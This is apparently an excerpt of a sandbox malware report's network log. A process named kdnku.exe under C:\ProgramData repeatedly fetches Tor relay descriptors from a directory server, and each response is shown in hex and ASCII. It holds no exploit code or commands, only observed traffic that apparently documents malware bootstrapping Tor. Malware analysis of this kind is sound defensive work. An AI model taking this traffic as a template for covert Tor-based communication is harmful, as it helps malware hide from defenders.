Apr 2, 2023 09:50:25.764275074 CEST	2920	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:25.813611031 CEST	2921	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:25 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:25 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49716	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:26.173717022 CEST	2925	OUT	GET /tor/server/fp/c86c538ef0a24e010342f30dbcacc2a7eb7ca833 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:26.201463938 CEST	2926	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:26 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:26 GMT Data Raw: 72 6f 75 74 65 72 20 63 68 61 72 6f 6e 20 31 37 33 2e 32 34 39 2e 38 2e 31 31 33 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 42 4d 41 55 74 69 35 65 63 59 37 4a 79 2b 57 75 33 59 6e 67 2f 34 5a 72 65 6a 61 38 5a 30 68 54 51 67 58 78 68 2b 76 62 76 6a 44 63 37 74 41 51 41 67 42 41 42 4d 30 48 5a 32 0a 56 61 45 59 56 43 32 52 2b 78 66 42 70 6c 61 77 63 33 36 42 6c 42 48 68 54 79 71 55 31 67 6d 76 62 38 76 33 50 50 55 59 6d 73 78 65 64 33 62 66 35 31 2f 4d 43 2b 51 56 78 31 6b 50 35 45 67 46 0a 48 45 58 6e 72 73 4c 6c 51 52 32 58 7a 75 46 56 70 52 65 54 64 76 70 4d 41 57 54 54 61 76 78 61 46 4b 55 44 79 59 59 33 6e 6e 49 35 45 6e 48 78 51 69 74 76 34 48 63 79 31 51 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 54 4e 42 32 64 6c 57 68 47 46 51 74 6b 66 73 58 77 61 5a 57 73 48 4e 2b 67 5a 51 52 34 55 38 71 6c 4e 59 4a 72 32 2f 4c 39 7a 77 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 32 3a 63 32 30 37 3a 33 30 30 34 3a 31 30 37 34 3a 3a 31 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 32 20 30 30 3a 32 35 3a 31 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 38 36 43 20 35 33 38 45 20 46 30 41 32 20 34 45 30 31 20 30 33 34 32 20 46 33 30 44 20 42 43 41 43 20 43 32 41 37 20 45 42 37 43 20 41 38 33 33 0a 75 70 74 69 6d 65 20 36 32 38 39 35 33 35 0a 62 61 6e 64 77 69 64 74 68 20 31 33 31 30 37 32 30 30 20 32 30 39 37 31 35 32 30 20 31 33 32 37 35 32 35 39 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 38 38 43 46 34 35 46 41 42 37 41 33 38 39 44 39 34 41 37 37 33 43 36 46 35 33 41 39 46 35 32 37 36 41 46 39 34 42 38 39 20 6d 32 73 42 78 48 31 35 68 38 52 6b 4e 41 65 2b 69 6b 77 6d 4a 58 62 55 37 47 45 6e 44 75 7a 72 70 5a 6c 55 6d 61 72 38 34 34 77 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 75 4a 45 4c 30 72 6c 73 32 62 51 78 4e 53 2f 4a 34 57 69 6d 45 57 52 72 4c 49 66 77 4e 43 33 4c 35 38 61 6e 65 67 44 47 7a 77 6c 35 69 75 45 68 32 30 49 63 4e 68 0a 74 39 33 51 6d 68 79 30 75 57 43 2b 31 7a 73 50 4e 64 36 31 4a 71 74 70 59 34 30 42 77 69 43 58 41 52 65 54 76 58 4a 51 52 5a 50 41 47 41 65 55 70 5a 64 65 44 52 75 50 71 43 30 59 35 52 4d 35 0a 44 2f 42 6f 5a 76 51 4b 42 38 79 67 77 67 67 6e 6d 41 51 67 64 6a 33 66 77 32 76 49 6e 41 4c 68 65 48 4b 63 71 61 56 55 79 53 2f 68 53 67 6c 42 36 7a 47 31 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 Data Ascii: router charon 173.249.8.113 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByBMAUti5ecY7Jy+Wu3Yng/4Zreja8Z0hTQgXxh+vbvjDc7tAQAgBABM0HZ2VaEYVC2R+xfBplawc36BlBHhTyqU1gmvb8v3PPUYmsxed3bf51/MC+QVx1kP5EgFHEXnrsLlQR2XzuFVpReTdvpMAWTTavxaFKUDyYY3nnI5EnHxQitv4Hcy1QA=-----END ED25519 CERT-----master-key-ed25519 TNB2dlWhGFQtkfsXwaZWsHN+gZQR4U8qlNYJr2/L9zwor-address [2a02:c207:3004:1074::1]:443platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-02 00:25:18fingerprint C86C 538E F0A2 4E01 0342 F30D BCAC C2A7 EB7C A833uptime 6289535bandwidth 13107200 20971520 13275259extra-info-digest 88CF45FAB7A389D94A773C6F53A9F5276AF94B89 m2sBxH15h8RkNAe+ikwmJXbU7GEnDuzrpZlUmar844wonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKuJEL0rls2bQxNS/J4WimEWRrLIfwNC3L58anegDGzwl5iuEh20IcNht93Qmhy0uWC+1zsPNd61JqtpY40BwiCXAReTvXJQRZPAGAeUpZdeDRuPqC0Y5RM5D/BoZvQKB8ygwggnmAQgdj3fw2vInALheHKcqaVUyS/hSglB6zG1AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49717	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:28.198793888 CEST	2933	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:28.299179077 CEST	2934	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:28 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:28 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49718	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:28.649182081 CEST	2937	OUT	GET /tor/server/fp/c873d9d8df3cb6a4f92b07a77193f1a13936477f HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:28.679088116 CEST	2939	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:28 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:28 GMT Data Raw: 72 6f 75 74 65 72 20 77 61 70 68 75 6c 32 32 37 20 33 38 2e 31 33 32 2e 31 37 38 2e 31 35 34 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 43 45 41 55 51 48 50 4c 41 48 6b 7a 70 6a 4f 54 47 5a 4e 6d 63 2b 65 4d 2b 74 66 68 62 6f 4f 5a 70 69 41 76 4e 58 4b 52 31 58 2b 43 4c 6c 41 51 41 67 42 41 42 75 43 6b 42 57 0a 5a 6e 76 58 6f 5a 4b 4b 64 7a 75 44 5a 36 4b 74 44 43 45 69 57 42 79 33 56 45 4a 30 33 71 62 42 75 51 4f 6b 7a 4e 6d 53 45 62 6b 74 6f 48 4a 61 52 38 33 7a 35 39 74 75 62 76 56 2b 6b 79 37 2b 0a 50 49 35 71 46 52 6a 49 64 70 6b 49 46 4f 45 4d 6d 5a 4c 42 35 35 33 6e 75 7a 37 68 6d 71 76 33 53 34 47 36 4f 4b 72 47 67 75 6e 39 71 46 6d 51 6d 77 4b 66 4e 75 4e 56 51 77 59 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 62 67 70 41 56 6d 5a 37 31 36 47 53 69 6e 63 37 67 32 65 69 72 51 77 68 49 6c 67 63 74 31 52 43 64 4e 36 6d 77 62 6b 44 70 4d 77 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 32 20 30 31 3a 32 30 3a 32 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 38 37 33 20 44 39 44 38 20 44 46 33 43 20 42 36 41 34 20 46 39 32 42 20 30 37 41 37 20 37 31 39 33 20 46 31 41 31 20 33 39 33 36 20 34 37 37 46 0a 75 70 74 69 6d 65 20 31 35 35 35 33 37 36 0a 62 61 6e 64 77 69 64 74 68 20 35 32 34 32 38 38 30 20 31 30 34 38 35 37 36 30 20 35 37 39 32 38 38 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 32 43 32 41 42 42 42 43 30 44 31 30 41 39 36 39 46 42 43 44 31 39 46 35 34 42 30 36 31 31 45 42 39 34 30 42 38 44 35 20 43 53 4f 65 6a 49 41 6d 54 6f 36 74 76 2f 59 52 63 78 4e 68 7a 49 76 4c 33 58 33 43 2b 53 50 59 6c 5a 44 50 2b 62 50 6d 41 39 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 58 53 46 48 74 50 49 76 79 64 69 37 46 67 69 39 43 75 45 6d 6d 43 6d 34 4a 70 38 63 57 6b 2b 5a 63 39 6e 56 54 71 6e 30 41 79 34 4b 6b 75 70 4f 43 35 53 58 68 34 0a 61 44 38 72 77 4b 78 66 62 38 69 37 67 59 57 55 64 79 31 65 75 31 47 6e 67 66 63 67 48 6b 38 51 35 31 6c 47 74 36 58 54 4e 56 36 65 4a 62 4e 57 50 72 59 72 39 39 7a 6c 4c 61 4b 49 49 46 4a 44 0a 2b 6f 5a 62 59 6f 35 30 44 32 67 4a 44 4d 33 49 32 47 4a 44 62 44 76 50 7a 62 45 76 6d 47 50 64 6b 56 2f 52 30 31 33 5a 51 46 6d 4e 64 58 6c 6d 78 72 4b 39 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 50 62 71 74 52 45 72 2b 45 Data Ascii: router waphul227 38.132.178.154 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByCEAUQHPLAHkzpjOTGZNmc+eM+tfhboOZpiAvNXKR1X+CLlAQAgBABuCkBWZnvXoZKKdzuDZ6KtDCEiWBy3VEJ03qbBuQOkzNmSEbktoHJaR83z59tubvV+ky7+PI5qFRjIdpkIFOEMmZLB553nuz7hmqv3S4G6OKrGgun9qFmQmwKfNuNVQwY=-----END ED25519 CERT-----master-key-ed25519 bgpAVmZ716GSinc7g2eirQwhIlgct1RCdN6mwbkDpMwplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-02 01:20:27fingerprint C873 D9D8 DF3C B6A4 F92B 07A7 7193 F1A1 3936 477Fuptime 1555376bandwidth 5242880 10485760 5792888extra-info-digest B2C2ABBBC0D10A969FBCD19F54B0611EB940B8D5 CSOejIAmTo6tv/YRcxNhzIvL3X3C+SPYlZDP+bPmA9konion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANXSFHtPIvydi7Fgi9CuEmmCm4Jp8cWk+Zc9nVTqn0Ay4KkupOC5SXh4aD8rwKxfb8i7gYWUdy1eu1GngfcgHk8Q51lGt6XTNV6eJbNWPrYr99zlLaKIIFJD+oZbYo50D2gJDM3I2GJDbDvPzbEvmGPdkV/R013ZQFmNdXlmxrK9AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALPbqtREr+E

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49724	131.188.40.189	80	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
